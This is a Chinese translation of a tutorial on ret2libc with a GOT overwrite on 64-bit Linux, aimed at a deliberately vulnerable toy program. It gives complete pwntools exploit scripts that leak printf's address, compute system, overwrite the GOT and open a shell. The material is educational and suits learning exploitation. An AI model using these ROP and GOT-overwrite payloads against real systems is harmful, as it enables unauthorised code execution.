通过GOT覆写实现ret2libc - 64-bit Linux stack smashing tutorial: Part 3

来源:互联网 发布:淘宝网店怎样优化 编辑:程序博客网 时间:2024/06/05 12:01

英文原文地址:http://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/

作者在写完part2后很长时间没有动笔写3,但从那以后,他收到很多关于如何绕过ASLR的问题。作者认为有很多办法可以做到,但这里写的方法是非常有意思的一种方式。通过GOT来泄漏库函数地址,以推导出libc中其他函数(如system)的地址,从而获得shell。以下过程给出了译者的个人调试截图,可在实践时参考。由于译者也是初学,翻译及调试过程中也存在一些疑问,欢迎探讨学习。

示例代码

#include <stdio.h>#include <string.h>#include <unistd.h>void helper() {    asm("pop %rdi; pop %rsi; pop %rdx; ret"); }int vuln() {    char buf[150];    ssize_t b;    memset(buf, 0, 150);    printf("Enter input: ");    b = read(0, buf, 400);    printf("Recv: ");    write(1, buf, b);    return 0;}int main(int argc, char *argv[]){    setbuf(stdout, 0);    vuln();    return 0;}

编译选项为:

gcc -fno-stack-protector leak.c -o leak

初步分析

程序编译好后的运行结果为:

root@kali:~/Desktop# python -c "print 'A'*160"|./leakEnter input: Recv: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault

说明leak存在缓冲区溢出漏洞,位于代码中的vuln函数。Read函数允许写入400字节的数据到一个只有150字节的缓冲区。但由于ASLR的存在,我们无法直接返回到system函数。作者给出了如下解决方法。

  • 找到GOT中库函数的地址。本例中,通过获得memset函数的GOT地址,我们可以找到memset函数的地址。(注:译者最初也希望通过泄漏memset函数地址来获取system函数地址,但怎么也无法成功,后改为泄漏printf函数地址,则获得shell,这一点尚未想出原因,希望读者可以帮我解惑。下面将改用printf来调试。)
  • 获取libc的基地址,从而使得我们可以计算出其他库函数的地址。libc的基地址造成了printf函数地址的差异。也就是说,地址随机化后的libc.so.6中的printf函数之间的地址差异,就是libc基地址之间的差异,printf在库中的偏移并没有变。
  • 其他库函数的真实地址可以根据其在libc.so.6中的偏移量来获得。
  • 将printf的GOT表项地址覆写为system的地址,从而当我们调用printf函数时,其实际调用的是已被覆写的system函数,达到了获取shell的目的。

读者需要对linux的共享库原理有一点了解,比如延迟绑定,即当第一次使用某函数时,GOT表中对应表项保存的并不是真实的函数地址,需要通过_dl_runtime_resolve查找到真实的函数地址并填入GOT对应表项,从而在下次再使用该函数时,无需进行查找。我们要泄漏的就是初始化查找后填入GOT对应表项中的函数地址。

运行被调试程序

作者使用socat命令将前文编译好的leak程序运行在2323端口下,这主要是为了便于通过脚本来调试攻击代码。

这里写图片描述

我在使用这种方式时,会经常报错,感觉不太稳定。可以使用pwntool的process来代替:
p = process(“./leak”)

获取函数PLT和GOT信息

获取leak程序中memset函数的GOT表入口地址,如下图所示,为0x600b58。

这里写图片描述

这里写图片描述

上面两张图的指向是一致的,都是给出了memset函数的GOT表入口地址为0x600b58。
按照memset最终得到的system地址好像不对,故我最终使用的是printf函数,具体方式如下图。

这里写图片描述

通过上图可知以下信息:

printf函数的PLT地址为0x400510printf函数的GOT地址为0x600b50read函数的PLT地址为0x400530write函数的PLT地址为0x4004f0

作者接下来为我们调试验证了一下延迟绑定的过程,我这里仍以作者使用的socat方式给出验证过程。首先在vuln()函数的printf调用处下断,具体断点地址可以通过反汇编vuln函数来获得。

这里写图片描述

作者通过配置gdbinit的方式来下断。

#echo "br *0x40068f" >> ~/.gdbinit

然后将gdb挂载到socat上(确保此时已经执行socat):

# gdb -q -p `pidof socat`

并运行gdb的c(continue)命令,使程序执行起来。
再用nc来连接socat,如下图所示,断在了我们设置的断点0x40068f上了,也就是调用printf函数的位置。

这里写图片描述

使用指令n步过printf函数,并查询其GOT表项。

这里写图片描述

printf函数的GOT表项值为0x7f9db0856170,已经完成重定位。需要注意的是,gdb在运行时自动关闭了系统的ASLR地址随机化,故每次运行时得到的库函数地址都是相同的。

如果能够将printf的GOT表项值返回给我们,那我们就能够得到这个地址了。在这里,正好可以利用vuln函数中的write@plt调用。由于我们攻击的是一个64位程序,故我们需要通过rdi、rsi、rdx来向write传参。因此,我们需要收集可用的ROP片段。

在本文中,作者为了简单起见,在程序代码中就写入了这样的ROP片段,即help函数。在实际攻击中,可能需要借助ropgadget等工具来更为巧妙地串接ROP链。

这里写图片描述

这里,我们很容易地找到了植入的PPPR指令序列,如图中红框内所示,地址为0x40065a。
在文中,作者使用socket来编写exp,而我更习惯使用pwntool来做,代码及注释如下。

from pwn import *import structp = process("./leak") #连接被攻击程序#p = remote("localhost",2323) #使用socat时,这样连接PPPR = 0x40065A printf_got = 0x600b50 write_plt = 0x4004f0 payload = "A" * 168  #截至返回地址前的缓冲区长度payload += p64(PPPR) #跳转到PPPR指令序列,为write函数赋值payload += p64(0x1) #write函数的第一个参数,1表示输出到stdoutpayload += p64(printf_got) #write函数的第二个参数,表示要输出字符串的首地址payload += p64(0x8) #write函数的第三个参数,表示要输出字符串的长度payload += p64(write_plt) #调用write函数print p.recv()p.sendline(payload)#最后8个字节就是printf函数的实际地址,不编码的话会显示乱码printfAddrTmp = struct.unpack('<Q', p.recv(1024)[-8::])printfAddr = hex(printfAddrTmp[0])print "printfAdd:", printfAddr

获取system函数地址

我们需要计算libc的基地址,以便获得任意libc库函数的地址。

首先,我们需要知道printf函数在libc.so.6中的偏移量,这可以通过解析与被攻击程序同版本的libc.so.6库来获取。也就是说,如果要使用这种攻击方法的话,你必须得到与被攻击程序所用的libc库同版本的库文件。作者提示可以通过libc-database(https://github.com/niklasb/libc-database)这个项目来通过泄漏的地址查找可能的libc库文件,但我没有实验成功。

这里写图片描述

我这里printf的偏移是0x4f170,用刚才得到的printf的地址减去该偏移量就是libc的基地址。依法炮制,我们再找一下system函数在libc中的偏移。

这里写图片描述

我这里system的偏移是0x3f870。
那么,system的地址计算公式为:

systemAddr = (printfAddr - printfOffset) + systemOffset

作者在这里先写脚本计算了一下system的地址,用pwntool可以改写如下。

from pwn import *import structp = process("./leak") #连接被攻击程序#p = remote("localhost",2323) #使用socat时,这样连接PPPR = 0x40065A #pop rdi, pop rsi, pop rdx, ret"printf_got = 0x600b50write_plt = 0x4004f0printf_offset = 0x4f170system_offset = 0x3f870payload = "A" * 168payload += p64(PPPR)payload += p64(0x1)        payload += p64(printf_got)payload += p64(0x8)        payload += p64(write_plt)print p.recv()p.sendline(payload)printfAddrTmp = struct.unpack('<Q', p.recv(1024)[-8::])printfAddr = hex(printfAddrTmp[0])systemAddr = hex(printfAddrTmp[0] - printf_offset + system_offset)print "printfAdd:", printfAddrprint "systemAdd:", systemAddr

寻找可写入空间

这时,我们还需要一块可写空间,作为system函数参数“/bin/sh”字符串的存放位置。我们可以使用“objdump -h leak”命令来寻找,结果中不是readonly的空间就可以使用,而且是静态的。

这里写图片描述

如图,从.init_array之后的段应该是可以选择的,这里我选择的地址是0x600c00。
到这里,我们就已经获得了进行一次基于GOT泄漏的ret2libc攻击的所有信息了。

完整攻击思路

这里写图片描述

完整脚本

#!/usr/bin/env python2from pwn import *import structp = process("./leak")#p = remote("localhost", 2323)PPPR = 0x40065A #pop rdi, pop rsi, pop rdx, ret"printf_plt = 0x400510printf_got = 0x600b50write_plt = 0x4004f0read_plt = 0x400530printf_offset = 0x4f170system_offset = 0x3f870writable = 0x600c00bs = "/bin/sh"#step1 payload: 获取printf函数的真实地址payload = "A" * 168payload += p64(PPPR)payload += p64(0x1) #write函数的第一个参数,stdoutpayload += p64(printf_got) #write函数的第二个参数,待显示字符串的首地址payload += p64(0x8) #write函数的第三个参数,待显示字符串的字节数payload += p64(write_plt)#step2 payload: 使用read@plt覆写printf()的GOT表项为system函数地址payload += p64(PPPR)payload += p64(0x0) #read函数的第一个参数,stdinpayload += p64(printf_got) #read函数的第二个参数,待写入地址空间的首地址payload += p64(0x8) #read函数的第三个参数,待写入字符串的长度payload += p64(read_plt)#step3 payload: 使用read函数将"/bin/sh"写到writable地址处payload += p64(PPPR)payload += p64(0x0) payload += p64(writable) payload += p64(0x8) payload += p64(read_plt)#step4 payload: 调用system("/bin/sh")payload += p64(PPPR)payload += p64(writable) #system函数的参数,"/bin/sh"payload += p64(0x1) #无意义payload += p64(0x1) #无意义payload += p64(printf_plt)print p.recv()print "step1: leak printfAddr and systemAddr"p.sendline(payload)printfAddrTmp = struct.unpack('<Q', p.recv(1024)[-8::])printfAddr = hex(printfAddrTmp[0])systemAddr = hex(printfAddrTmp[0] - printf_offset + system_offset)print "printfAdd:", printfAddrprint "systemAddr:", systemAddrprint "step2: overwriting printf_got using systemAddr"p.send(p64(int(systemAddr, 16))) #不能用sendline,会增加0x0a这个字节print "step3: read '/bin/sh' into 0x600c00 using read@plt"p.send(bs)print "step4: call system('/bin/sh')"p.interactive()

结果如下:

这里写图片描述

1 0
原创粉丝点击